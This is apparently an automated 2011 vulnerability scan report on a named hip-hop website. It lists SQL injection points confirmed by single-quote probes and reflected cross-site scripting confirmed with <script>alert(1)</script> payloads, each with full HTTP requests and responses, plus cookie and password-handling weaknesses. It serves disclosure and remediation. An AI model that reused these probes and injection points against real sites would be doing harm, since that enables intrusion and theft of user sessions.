XSS, thatshiphop.com, Cross Site Scripting, CWE-79, CAPEC-86

CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Report generated by XSS.CX at Sun Apr 17 17:26:56 CDT 2011.


XSS.CX Research investigates and reports on security vulnerabilities embedded in Web Applications and Products used in wide-scale deployment.

XSS.CX Home | XSS.CX Research Blog
Loading

1. SQL injection

1.1. http://www.thatshiphop.com/blog.php [REST URL parameter 1]

1.2. http://www.thatshiphop.com/contentajax.php [REST URL parameter 1]

1.3. http://www.thatshiphop.com/favicon.ico [REST URL parameter 1]

1.4. http://www.thatshiphop.com/gossip.php [REST URL parameter 1]

1.5. http://www.thatshiphop.com/news.php [REST URL parameter 1]

2. Cross-site scripting (reflected)

2.1. http://www.thatshiphop.com/contentajax.php [name of an arbitrarily supplied request parameter]

2.2. http://www.thatshiphop.com/contentajax.php [type parameter]

2.3. http://www.thatshiphop.com/news.php [%27--%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert(0x00003E)%3C/script%3E parameter]

2.4. http://www.thatshiphop.com/news.php [name of an arbitrarily supplied request parameter]

3. Cleartext submission of password

4. Cookie scoped to parent domain

4.1. http://www.thatshiphop.com/blog.php

4.2. http://www.thatshiphop.com/gossip.php

5. Cookie without HttpOnly flag set

5.1. http://www.thatshiphop.com/blog.php

5.2. http://www.thatshiphop.com/gossip.php

6. Password field with autocomplete enabled

7. Cross-domain Referer leakage

8. Cross-domain script include

9. Email addresses disclosed



1. SQL injection  next
There are 5 instances of this issue:

Issue background

SQL injection vulnerabilities arise when user-controllable data is incorporated into database SQL queries in an unsafe manner. An attacker can supply crafted input to break out of the data context in which their input appears and interfere with the structure of the surrounding query.

Various attacks can be delivered via SQL injection, including reading or modifying critical application data, interfering with application logic, escalating privileges within the database and executing operating system commands.

Remediation background

The most effective way to prevent SQL injection attacks is to use parameterised queries (also known as prepared statements) for all database access. This method uses two steps to incorporate potentially tainted data into SQL queries: first, the application specifies the structure of the query, leaving placeholders for each item of user input; second, the application specifies the contents of each placeholder. Because the structure of the query has already defined in the first step, it is not possible for malformed data in the second step to interfere with the query structure. You should review the documentation for your database and application platform to determine the appropriate APIs which you can use to perform parameterised queries. It is strongly recommended that you parameterise every variable data item that is incorporated into database queries, even if it is not obviously tainted, to prevent oversights occurring and avoid vulnerabilities being introduced by changes elsewhere within the code base of the application.

You should be aware that some commonly employed and recommended mitigations for SQL injection vulnerabilities are not always effective:



1.1. http://www.thatshiphop.com/blog.php [REST URL parameter 1]  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.thatshiphop.com
Path:   /blog.php

Issue detail

The REST URL parameter 1 appears to be vulnerable to SQL injection attacks. A single quote was submitted in the REST URL parameter 1, and a database error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The database appears to be MySQL.

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses.

Request 1

GET /blog.php' HTTP/1.1
Host: www.thatshiphop.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response 1

HTTP/1.1 200 OK
Date: Sun, 17 Apr 2011 19:48:10 GMT
Server: Apache/2.2.14 (Unix) PHP/5.2.14
X-Powered-By: PHP/5.2.14
Content-Length: 157
Connection: close
Content-Type: text/html

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''blog.php''' at line 1

Request 2

GET /blog.php'' HTTP/1.1
Host: www.thatshiphop.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response 2

HTTP/1.1 200 OK
Date: Sun, 17 Apr 2011 19:48:10 GMT
Server: Apache/2.2.14 (Unix) PHP/5.2.14
X-Powered-By: PHP/5.2.14
Content-Length: 921
Connection: close
Content-Type: text/html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-T
...[SNIP]...

1.2. http://www.thatshiphop.com/contentajax.php [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.thatshiphop.com
Path:   /contentajax.php

Issue detail

The REST URL parameter 1 appears to be vulnerable to SQL injection attacks. A single quote was submitted in the REST URL parameter 1, and a database error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The database appears to be MySQL.

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses.

Request 1

GET /contentajax.php'?id=ksKuOSxnvUPwHQSY&type=audio&h=1 HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; Netsparker)
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Accept: */*
Cache-Control: no-cache
Host: www.thatshiphop.com
Accept-Encoding: gzip, deflate
Proxy-Connection: Keep-Alive

Response 1

HTTP/1.1 200 OK
Date: Sun, 17 Apr 2011 20:12:13 GMT
Server: Apache/2.2.14 (Unix) PHP/5.2.14
X-Powered-By: PHP/5.2.14
Content-Length: 164
Content-Type: text/html

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''contentajax.php''' at line 1

Request 2

GET /contentajax.php''?id=ksKuOSxnvUPwHQSY&type=audio&h=1 HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; Netsparker)
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Accept: */*
Cache-Control: no-cache
Host: www.thatshiphop.com
Accept-Encoding: gzip, deflate
Proxy-Connection: Keep-Alive

Response 2

HTTP/1.1 200 OK
Date: Sun, 17 Apr 2011 20:12:14 GMT
Server: Apache/2.2.14 (Unix) PHP/5.2.14
X-Powered-By: PHP/5.2.14
Content-Length: 921
Content-Type: text/html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-T
...[SNIP]...

1.3. http://www.thatshiphop.com/favicon.ico [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.thatshiphop.com
Path:   /favicon.ico

Issue detail

The REST URL parameter 1 appears to be vulnerable to SQL injection attacks. A single quote was submitted in the REST URL parameter 1, and a database error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The database appears to be MySQL.

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses.

Request 1

GET /favicon.ico' HTTP/1.1
Host: www.thatshiphop.com
Proxy-Connection: keep-alive
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response 1

HTTP/1.1 200 OK
Date: Sun, 17 Apr 2011 19:59:54 GMT
Server: Apache/2.2.14 (Unix) PHP/5.2.14
X-Powered-By: PHP/5.2.14
Content-Length: 160
Content-Type: text/html

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''favicon.ico''' at line 1

Request 2

GET /favicon.ico'' HTTP/1.1
Host: www.thatshiphop.com
Proxy-Connection: keep-alive
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response 2

HTTP/1.1 200 OK
Date: Sun, 17 Apr 2011 19:59:55 GMT
Server: Apache/2.2.14 (Unix) PHP/5.2.14
X-Powered-By: PHP/5.2.14
Content-Length: 921
Content-Type: text/html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-T
...[SNIP]...

1.4. http://www.thatshiphop.com/gossip.php [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.thatshiphop.com
Path:   /gossip.php

Issue detail

The REST URL parameter 1 appears to be vulnerable to SQL injection attacks. A single quote was submitted in the REST URL parameter 1, and a database error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The database appears to be MySQL.

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses.

Request 1

GET /gossip.php' HTTP/1.1
Host: www.thatshiphop.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response 1

HTTP/1.1 200 OK
Date: Sun, 17 Apr 2011 19:48:16 GMT
Server: Apache/2.2.14 (Unix) PHP/5.2.14
X-Powered-By: PHP/5.2.14
Content-Length: 159
Connection: close
Content-Type: text/html

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''gossip.php''' at line 1

Request 2

GET /gossip.php'' HTTP/1.1
Host: www.thatshiphop.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response 2

HTTP/1.1 200 OK
Date: Sun, 17 Apr 2011 19:48:16 GMT
Server: Apache/2.2.14 (Unix) PHP/5.2.14
X-Powered-By: PHP/5.2.14
Content-Length: 921
Connection: close
Content-Type: text/html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-T
...[SNIP]...

1.5. http://www.thatshiphop.com/news.php [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.thatshiphop.com
Path:   /news.php

Issue detail

The REST URL parameter 1 appears to be vulnerable to SQL injection attacks. A single quote was submitted in the REST URL parameter 1, and a database error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The database appears to be MySQL.

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses.

Request 1

GET /news.php'?%27--%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert(0x00003E)%3C/script%3E HTTP/1.1
Host: www.thatshiphop.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response 1

HTTP/1.1 200 OK
Date: Sun, 17 Apr 2011 20:00:03 GMT
Server: Apache/2.2.14 (Unix) PHP/5.2.14
X-Powered-By: PHP/5.2.14
Content-Length: 157
Content-Type: text/html

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''news.php''' at line 1

Request 2

GET /news.php''?%27--%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert(0x00003E)%3C/script%3E HTTP/1.1
Host: www.thatshiphop.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response 2

HTTP/1.1 200 OK
Date: Sun, 17 Apr 2011 20:00:04 GMT
Server: Apache/2.2.14 (Unix) PHP/5.2.14
X-Powered-By: PHP/5.2.14
Content-Length: 921
Content-Type: text/html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-T
...[SNIP]...

2. Cross-site scripting (reflected)  previous  next
There are 4 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.


2.1. http://www.thatshiphop.com/contentajax.php [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.thatshiphop.com
Path:   /contentajax.php

Issue detail

The name of an arbitrarily supplied request parameter is copied into the HTML document as plain text between tags. The payload 29915<script>alert(1)</script>fccb48abde1 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /contentajax.php?id=ksKuOSxnvUPwHQSY&type=audio/29915<script>alert(1)</script>fccb48abde1&h=1 HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; Netsparker)
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Accept: */*
Cache-Control: no-cache
Host: www.thatshiphop.com
Accept-Encoding: gzip, deflate
Proxy-Connection: Keep-Alive

Response

HTTP/1.1 200 OK
Date: Sun, 17 Apr 2011 20:11:18 GMT
Server: Apache/2.2.14 (Unix) PHP/5.2.14
X-Powered-By: PHP/5.2.14
Content-Length: 891
Content-Type: text/html; charset=UTF-8


<table cellpadding="0" cellspacing="0" width="400">
   <tr>
       <td valign="top" align="right">
           <strong>Title:</strong>
       </td>
       <td valign="top" align="left">
           &nbsp;&nbsp;<strong><font col
...[SNIP]...
<td valign="top" align="left">
           &nbsp;&nbsp;Audio/29915<script>alert(1)</script>fccb48abde1        </td>
...[SNIP]...

2.2. http://www.thatshiphop.com/contentajax.php [type parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.thatshiphop.com
Path:   /contentajax.php

Issue detail

The value of the type request parameter is copied into the HTML document as plain text between tags. The payload c3ee3<script>alert(1)</script>2f85176a6bf was submitted in the type parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /contentajax.php?id=ksKuOSxnvUPwHQSY&type=audioc3ee3<script>alert(1)</script>2f85176a6bf&h=1 HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; Netsparker)
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Accept: */*
Cache-Control: no-cache
Host: www.thatshiphop.com
Accept-Encoding: gzip, deflate
Proxy-Connection: Keep-Alive

Response

HTTP/1.1 200 OK
Date: Sun, 17 Apr 2011 20:10:10 GMT
Server: Apache/2.2.14 (Unix) PHP/5.2.14
X-Powered-By: PHP/5.2.14
Content-Length: 890
Content-Type: text/html; charset=UTF-8


<table cellpadding="0" cellspacing="0" width="400">
   <tr>
       <td valign="top" align="right">
           <strong>Title:</strong>
       </td>
       <td valign="top" align="left">
           &nbsp;&nbsp;<strong><font col
...[SNIP]...
<td valign="top" align="left">
           &nbsp;&nbsp;Audioc3ee3<script>alert(1)</script>2f85176a6bf        </td>
...[SNIP]...

2.3. http://www.thatshiphop.com/news.php [%27--%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert(0x00003E)%3C/script%3E parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.thatshiphop.com
Path:   /news.php

Issue detail

The value of the %27--%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert(0x00003E)%3C/script%3E request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 94afe"><script>alert(1)</script>78a6b1082b4 was submitted in the %27--%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert(0x00003E)%3C/script%3E parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /news.php?%27--%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert(0x00003E)%3C/script%3E94afe"><script>alert(1)</script>78a6b1082b4 HTTP/1.1
Host: www.thatshiphop.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Sun, 17 Apr 2011 19:59:07 GMT
Server: Apache/2.2.14 (Unix) PHP/5.2.14
X-Powered-By: PHP/5.2.14
Content-Type: text/html; charset=UTF-8
Content-Length: 22052


<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
"http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
   <meta name="keywords" content="hip hop, thats hiphop, hip-hop, hip, hop, rap
...[SNIP]...
</script>94afe"><script>alert(1)</script>78a6b1082b4=&page=2">
...[SNIP]...

2.4. http://www.thatshiphop.com/news.php [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.thatshiphop.com
Path:   /news.php

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload bec47"><script>alert(1)</script>990efaf9564 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /news.php?%27--%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert(0x00003E)%3C/script%3E&bec47"><script>alert(1)</script>990efaf9564=1 HTTP/1.1
Host: www.thatshiphop.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Sun, 17 Apr 2011 19:59:16 GMT
Server: Apache/2.2.14 (Unix) PHP/5.2.14
X-Powered-By: PHP/5.2.14
Content-Type: text/html; charset=UTF-8
Content-Length: 22096


<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
"http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
   <meta name="keywords" content="hip hop, thats hiphop, hip-hop, hip, hop, rap
...[SNIP]...
</script>=&bec47"><script>alert(1)</script>990efaf9564=1&page=2">
...[SNIP]...

3. Cleartext submission of password  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.thatshiphop.com
Path:   /news.php

Issue detail

The page contains a form with the following action URL, which is submitted over clear-text HTTP:The form contains the following password field:

Issue background

Passwords submitted over an unencrypted connection are vulnerable to capture by an attacker who is suitably positioned on the network. This includes any malicious party located on the user's own network, within their ISP, within the ISP used by the application, and within the application's hosting infrastructure. Even if switched networks are employed at some of these locations, techniques exist to circumvent this defence and monitor the traffic passing through switches.

Issue remediation

The application should use transport-level encryption (SSL or TLS) to protect all sensitive communications passing between the client and the server. Communications that should be protected include the login mechanism and related functionality, and any functions where sensitive data can be accessed or privileged actions can be performed. These areas of the application should employ their own session handling mechanism, and the session tokens used should never be transmitted over unencrypted communications. If HTTP cookies are used for transmitting session tokens, then the secure flag should be set to prevent transmission over clear-text HTTP.

Request

GET /news.php?%27--%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert(0x00003E)%3C/script%3E HTTP/1.1
Host: www.thatshiphop.com
Proxy-Connection: keep-alive
Cache-Control: max-age=0
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Sun, 17 Apr 2011 19:56:43 GMT
Server: Apache/2.2.14 (Unix) PHP/5.2.14
X-Powered-By: PHP/5.2.14
Content-Type: text/html; charset=UTF-8
Content-Length: 21464


<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
"http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
   <meta name="keywords" content="hip hop, thats hiphop, hip-hop, hip, hop, rap
...[SNIP]...
</a>
                                       <form id="login" action="http://www.thatshiphop.com/index.php?page=login" method="post">
                                       <input type="hidden" name="action" value="authenticate" />
...[SNIP]...
</label><input type="password" name="login_password" id="password"></p>
...[SNIP]...

4. Cookie scoped to parent domain  previous  next
There are 2 instances of this issue:

Issue background

A cookie's domain attribute determines which domains can access the cookie. Browsers will automatically submit the cookie in requests to in-scope domains, and those domains will also be able to access the cookie via JavaScript. If a cookie is scoped to a parent domain, then that cookie will be accessible by the parent domain and also by any other subdomains of the parent domain. If the cookie contains sensitive data (such as a session token) then this data may be accessible by less trusted or less secure applications residing at those domains, leading to a security compromise.

Issue remediation

By default, cookies are scoped to the issuing domain and all subdomains. If you remove the explicit domain attribute from your Set-cookie directive, then the cookie will have this default scope, which is safe and appropriate in most situations. If you particularly need a cookie to be accessible by a parent domain, then you should thoroughly review the security of the applications residing on that domain and its subdomains, and confirm that you are willing to trust the people and systems which support those applications.


4.1. http://www.thatshiphop.com/blog.php  previous  next

Summary

Severity:   Low
Confidence:   Firm
Host:   http://www.thatshiphop.com
Path:   /blog.php

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /blog.php HTTP/1.1
Host: www.thatshiphop.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sun, 17 Apr 2011 19:48:03 GMT
Server: Apache/2.2.14 (Unix) PHP/5.2.14
X-Powered-By: PHP/5.2.14
Set-Cookie: PHPSESSID=1ad052fa7cac90ee77e5d58a5f73639a; path=/; domain=thatshiphop.com
Content-Length: 0
Connection: close
Content-Type: text/html; charset=UTF-8


4.2. http://www.thatshiphop.com/gossip.php  previous  next

Summary

Severity:   Low
Confidence:   Firm
Host:   http://www.thatshiphop.com
Path:   /gossip.php

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /gossip.php HTTP/1.1
Host: www.thatshiphop.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sun, 17 Apr 2011 19:48:09 GMT
Server: Apache/2.2.14 (Unix) PHP/5.2.14
X-Powered-By: PHP/5.2.14
Set-Cookie: PHPSESSID=381b21d3877f25ff2a87a81a84e39518; path=/; domain=thatshiphop.com
Content-Length: 0
Connection: close
Content-Type: text/html; charset=UTF-8


5. Cookie without HttpOnly flag set  previous  next
There are 2 instances of this issue:

Issue background

If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.

Issue remediation

There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.

You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.



5.1. http://www.thatshiphop.com/blog.php  previous  next

Summary

Severity:   Low
Confidence:   Firm
Host:   http://www.thatshiphop.com
Path:   /blog.php

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /blog.php HTTP/1.1
Host: www.thatshiphop.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sun, 17 Apr 2011 19:48:03 GMT
Server: Apache/2.2.14 (Unix) PHP/5.2.14
X-Powered-By: PHP/5.2.14
Set-Cookie: PHPSESSID=1ad052fa7cac90ee77e5d58a5f73639a; path=/; domain=thatshiphop.com
Content-Length: 0
Connection: close
Content-Type: text/html; charset=UTF-8


5.2. http://www.thatshiphop.com/gossip.php  previous

Summary

Severity:   Low
Confidence:   Firm
Host:   http://www.thatshiphop.com
Path:   /gossip.php

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /gossip.php HTTP/1.1
Host: www.thatshiphop.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sun, 17 Apr 2011 19:48:09 GMT
Server: Apache/2.2.14 (Unix) PHP/5.2.14
X-Powered-By: PHP/5.2.14
Set-Cookie: PHPSESSID=381b21d3877f25ff2a87a81a84e39518; path=/; domain=thatshiphop.com
Content-Length: 0
Connection: close
Content-Type: text/html; charset=UTF-8


6. Password field with autocomplete enabled  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   http://www.thatshiphop.com
Path:   /news.php

Issue detail

The page contains a form with the following action URL:The form contains the following password field with autocomplete enabled:

Issue background

Most browsers have a facility to remember user credentials that are entered into HTML forms. This function can be configured by the user and also by applications which employ user credentials. If the function is enabled, then credentials entered by the user are stored on their local computer and retrieved by the browser on future visits to the same application.

The stored credentials can be captured by an attacker who gains access to the computer, either locally or through some remote compromise. Further, methods have existed whereby a malicious web site can retrieve the stored credentials for other applications, by exploiting browser vulnerabilities or through application-level cross-domain attacks.

Issue remediation

To prevent browsers from storing credentials entered into HTML forms, you should include the attribute autocomplete="off" within the FORM tag (to protect all form fields) or within the relevant INPUT tags (to protect specific individual fields).

Request

GET /news.php?%27--%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert(0x00003E)%3C/script%3E HTTP/1.1
Host: www.thatshiphop.com
Proxy-Connection: keep-alive
Cache-Control: max-age=0
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Sun, 17 Apr 2011 19:56:43 GMT
Server: Apache/2.2.14 (Unix) PHP/5.2.14
X-Powered-By: PHP/5.2.14
Content-Type: text/html; charset=UTF-8
Content-Length: 21464


